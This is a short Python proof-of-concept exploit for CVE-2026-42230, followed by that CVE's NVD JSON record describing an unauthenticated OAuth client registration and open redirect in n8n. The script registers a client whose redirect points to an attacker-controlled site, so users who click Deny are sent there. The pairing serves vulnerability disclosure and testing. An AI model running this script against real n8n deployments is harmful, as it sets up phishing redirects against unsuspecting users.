CVE-2026-42230

import requests # Target configuration target_url = "http://localhost:5678" malicious_site = "https://attacker-controlled-site.com" # Step 1: Register a malicious OAuth client # The endpoint /mcp-oauth/register accepts arbitrary redirect_uri without auth register_endpoint = f"{target_url}/mcp-oauth/register" payload = { "client_name": "ExploitClient", "redirect_uri": malicious_site } print(f"[*] Attempting to register malicious client with redirect to {malicious_site}...") response = requests.post(register_endpoint, json=payload) if response.status_code == 200: print("[+] Client registered successfully.") print("[+] When a victim visits the consent page and clicks 'Deny', they will be redirected to the malicious site.") else: print(f"[-] Registration failed. Status code: {response.status_code}")

{"cve": {"id": "CVE-2026-42230", "sourceIdentifier": "[email protected]", "published": "2026-05-04T19:16:05.237", "lastModified": "2026-05-06T14:57:11.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n is an open source workflow automation platform. Prior to versions 1.123.32, 2.17.4, and 2.18.1, the /mcp-oauth/register endpoint accepted OAuth client registrations without authentication, allowing arbitrary redirect_uri values to be registered. When a user denies the MCP OAuth consent dialog, the handleDeny handler redirects the user to the registered redirect_uri without validation, enabling an open redirect to an attacker-controlled URL. An attacker can craft a phishing link and send it to a victim; if the victim clicks \"Deny\" on the consent page, they are silently redirected to an external site. This issue has been patched in versions 1.123.32, 2.17.4, and 2.18.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:enterprise:node.js:*:*", "versionEndExcluding": "1.123.32", "matchCriteriaId": "A074B1B0-1C40-4969-A3D2-F4E86B4BAED3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:enterprise:node.js:*:*", "versionStartIncluding": "2.17.0", "versionEndExcluding": "2.17.4", "matchCriteriaId": "F00CA27A-4FD7-45A8-BE8D-DABFAD902806"}, {"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:2.18.0:*:*:*:enterprise:node.js:*:*", "matchCriteriaId": "D4858098-0175-4680-B6C9-C19CEB451DBA"}]}]}], "references": [{"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-f6x8-65q6-j9m9", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}